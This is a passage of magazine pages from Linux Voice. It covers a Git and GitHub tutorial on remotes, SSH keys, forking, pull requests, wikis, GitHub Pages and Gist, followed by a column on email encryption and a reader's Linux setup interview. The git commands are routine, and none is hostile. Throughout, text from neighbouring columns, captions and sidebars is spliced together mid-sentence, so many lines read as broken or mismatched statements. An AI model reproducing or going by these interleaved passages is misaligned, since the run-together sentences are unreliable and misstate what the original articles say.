Switched to branch ‘master’ We said that all repository clones are equal, but you this makes them fast and
To merge another branch into your current one: can still treat one as the master copy and have people lightweight.
$ git merge mybranch clone that and push their changes to it. It’s common
and to delete a branch after merging (or if it’s to locate such a repo on a server that is backed up,
unwanted): perhaps in the cloud to make it accessible. There are
$ git branch -d mybranch many options here -- consider Gitolite, Gitorious or
When you check out, Git replaces what’s in your CGit on your own server or use a cloud service like
working copy with what was there at the time of the Bitbucket, Sourceforge or the one we’ll explore next:
commit you check out. GitHub.
As you commit, branch and merge, it can be useful The Pro Git book is an excellent resource, and you
to visualise your project’s commit tree, and there are a can read it online for free at http://git-scm.com/book.

www.linuxvoice.com 111
MASTERCLASS GITHUB

GITHUB: GIT IN THE CLOUDS
Publicise your project, take a free backup and other nice things. All with GitHub…

G
itHub is probably the world’s largest code host.
It enables you to host publicly-accessible Git
repositories as well as, for a monthly fee,
private ones. Many open-source projects use GitHub
as their online presence.
Read access to public repositories is free and does
not require registration, and many open-source
projects offer the GitHub URL of their repository,
which can be cloned without ever using the GitHub
website. But if you do this you’d be missing out, as the
website is a great way to browse repositories – it has
PRO TIP an intuitive interface and nice features like syntax
You can use GitHub- highlighting of source code.
flavoured Markdown (bit. You need a GitHub account to host your own work.
ly/13jiaLV) to format your
If you don’t have one then head over to github.com,
comments on issues and
pull requests. choose a username and sign up. Then you can create
a repository. You then need to choose a name specific
to your account, and can enter a longer description if
you want to. Next, you choose whether the new
repository is private, which incurs fees, or public.
There are a few other options that you can select.
You can initialise the new repository with README
and .gitignore files, and you can also choose an
open-source licence file. If you have already initialised
a repository locally (with git init) then you should leave
the GitHub one empty, because you will set it up as a
remote and push to it.
GitHub then presents you with the exact
commands needed to create a new repository or Browse repositories on GitHub with syntax highlighting
configure an existing one so that you can push it up to
GitHub. Continuing our conceptual myproject $ git push -u origin master
example, we would add GitHub as a remote: The -u argument tells Git to remember that origin/
cd ~/myproject master is the remote, or upstream branch, which the
$ git remote add origin https://github.com/myusername/ local branch pushes to. It allows future pushes to omit
myproject.git the remote details:
$ git push
You’ll be prompted for your GitHub username and
password each time you push, but you can avoid this
by using SSH instead of HTTP. You’ll need to add your
SSH public key to your GitHub account – click the
tools icon on the top right-hand corner of the page, go
to SSH Keys and paste in the text of your public key.
You can then change the remote’s URL from HTTP to
SSH like this:
$ git remote set-url origin git@github.com:myusername/
myproject.git

Fork and pull
You can quite happily get along using GitHub as a
remote repository for your work, allowing you to share
it with the world or even just as a backup (bear in
GitHub’s Wiki editor mind that anyone can view fee-free repositories).
supports many kinds of However, there is much more on offer. If you want to
markup contribute to a repository that is not your own, you

112 www.linuxvoice.com
GITHUB MASTERCLASS

can fork it. This gives you your own copy of that If you don’t want to write
repository that you can then clone to your local your own pages by hand,
machine and make those great changes that you you can use GitHub’s
automatic page generator.
have in mind without disturbing anyone else. To fork
This offers a number of
another repository, first locate it using the search tool, themes and an editor that
then just click the fork icon. can get you published
When you want to share those changes, you issue a quickly.
pull request. This sends a formatted patch to the
owner of the repository that you forked. It is then up to
them to review and accept your patch. You first
commit your local changes and push them to your
local fork on GitHub. Then, on the GitHub screen for
that repository, click on Pull Request to generate a
patch and send the pull request. Anyone can leave
comments on a pull request and this offers a good
way to discuss it prior to it being accepted.

Wiki pages the root directory of your gh-pages branch. Put your
GitHub includes a wiki system called Gollum, which domain in this file:
provides wiki pages on every repository. You decide myproject.mydomain.co.uk
whether to have one and you can apply some limited You will also need to configure your domains DNS,
editing controls. There’s a comprehensive editor right and you can read more about this at http://bit.ly/
there on the site or you can clone your wiki to your ghdomain.
own machine and work locally: Each repo also has an issues page, where anyone
$ git clone git@github.com:myusername/myproject.wiki can log issues against it. Similarly to pull requests,
Gollum supports quite a few markup syntaxes, so if anyone can comment on issues. Posts can be given
PRO TIP
Markdown isn’t your thing, you could try one of several labels like bug, enhancement or question. You can,
You can clone GitHub’s
others on offer including MediaWiki, RDoc and however, disable a repository’s issues tracker on its wiki system and use it
ReStructuredText. settings page. Some projects do this because they yourself: https://github.
The wiki is one way to provide content for your prefer to receive pull requests. com/gollum.
repository, but there is another called GitHub Pages, In addition to repository sites (Project Pages as
which enables you to add a static website to your GitHub calls them), you can have User Pages too.
repository. You can include content by adding a They work in exactly the same way, but you need to
branch named gh-pages and committing content to create a repository called myusername.github.io and
it. With your repository in a clean state (git status store your content in its master branch. User pages
reports “nothing to commit, working directory clean”): are served at http://mysername.github.io. You should
$ git checkout --orphan gh-pages note that GitHub Pages
$ git rm -rf .
This checks out a new empty branch that is
are served over HTTP, so
are not suited to sensitive
“If you want to contribute to a
unrelated to your existing commits, which makes information. repository that is not your own,
sense because it will contain unrelated content. You
need to clean out the working copy yourself, however, Get the Gist
you can fork it.”
before starting to write your site’s content – perhaps And, if all that weren’t
beginning with a new index.html file. To upload it, enough, GitHub also provides a pastebin service,
commit and push to a new remote branch: called Gist, which is a way to quickly share snippets of
$ git commit -m “first commit of site pages” code and other pastes. Once again, you can use
$ git push -u origin gh-pages Markdown and it also has syntax highlighting. Gists
When the gh-pages branch is in place, GitHub will are themselves Git repositories and can therefore be
publish it automatically and it should be accessible cloned (the required URL is presented on the gist’s
within a few minutes. The repository’s settings will page). As a GitHub user, you automatically have a gist
show the site’s address, which will be something like site at gist.github.com/myusername, or you can click
http://myusername.github.io/myproject. You can the link at the top of your GitHub page.
even use your own domain by writing a CNAME file in If you have your own projects, no matter how small,
GitHub is a handy addition to your toolkit, especially if
Also consider you’re already a Git user. If you aren’t, GitHub makes it
easier to become one.
There are alternatives to GitHub. You might want to check out
Gitorious or GitLab; both offer hosted services similar to
GitHub but release open-source community editions that John Lane is a technology consultant with a penchant for
Linux. He helps new businesses start-ups make the most of
offer the option of installing on your own server.
open source software.

www.linuxvoice.com 113
/DEV/RANDOM/

Final thoughts, musings and reflections
Nick Veitch
was the original editor
of Linux Format, a
Computer parts
role he played until he
got bored and went Some screens
to work at Canonical
instead. Splitter!

Sound system

I
n the olden days, things were better. Or Embedded system and
electronic workbench
maybe safer. At least when it came to
communications. When transmitting
messages to his commanders, his senatorial
chums or whomever he needed to contact,
Julius Caesar used a simple alphabetical shift
system (still known as a Caesar cipher) to render
his messages unintelligible to whomever was
the latter-day equivalent to the NSA. It was
Logitech G510
presumably pretty effective, mainly because with a lot of Fully functional stack of
most of the people who may have intercepted extra keys motherboards and laptops
with PXE boot (used as
the traffic didn’t even know what language it compile cluster or test PC)
might have been in, and were probably not very
literate anyhow.
These days, prying eyes don’t have to intercept

My Linux setup Emmanuel Lepage Vallée
a horseman riding through the treacherous
high-alps – they have computers. Since the very
first electronic computer was invented
specifically for decrypting messages (very Awesome window manager developer, KDE contributor and
successfully), it is a safe bet that they are a bit Free Software consultant http://awesome.naquadah.org
better at doing it now the average desktop has
10 billion times the power . Encrypting messages What version of Linux are you version of KDE in fall of 2000. As for my
securely is probably more important than ever. using at the moment? first true Linux desktop, it was the first few
Google recently took a pop at other mail I have been using Gentoo since versions of MEPIS, then Debian, Fedora
providers (notably Outlook.com, the artists 2005 – I never looked back. I also Core and finally Gentoo.
formerly known as Hotmail) for failing to turn on use Debian on my laptops.
TLS encryption for its users by default (a system What Free Software/open source
where mail providers encrypt the traffic between What desktop or window can’t you live without?
their servers). It is most admirable that Google is manager are you using? Tiled window managers - they make
so concerned for your privacy. My own. It is based on the my work so much more efficient. I
I muttered to myself that they would never go Awesome window manager started with DWM then moved to
so far as to implement PGP on Gmail. But framework with a fully custom user Awesome in early 2008. KDE software
apparently I was wrong. experience (https://github.com/Elv13 to such as Dolphin, Kate and Okular would
End-to-end encryption should mean that cherry pick some of my own work). also rate high on my list.
Google itself won’t be able to spy on your email,
by rummaging through it and looking for things What was the first Linux setup What do other people love but
to sell you – or who knows what else it does with you ever used? you can’t get on with?
the data. The cynical side of me can’t wait to see Technically (in Unix terms) that Minimalism.
exactly how this gets implemented. would be Solaris and an early

114 www.linuxvoice.com
A quick reference to Nethack commands

AGPLv3, created by Shiar at http://sheet.shiar.nl/nethack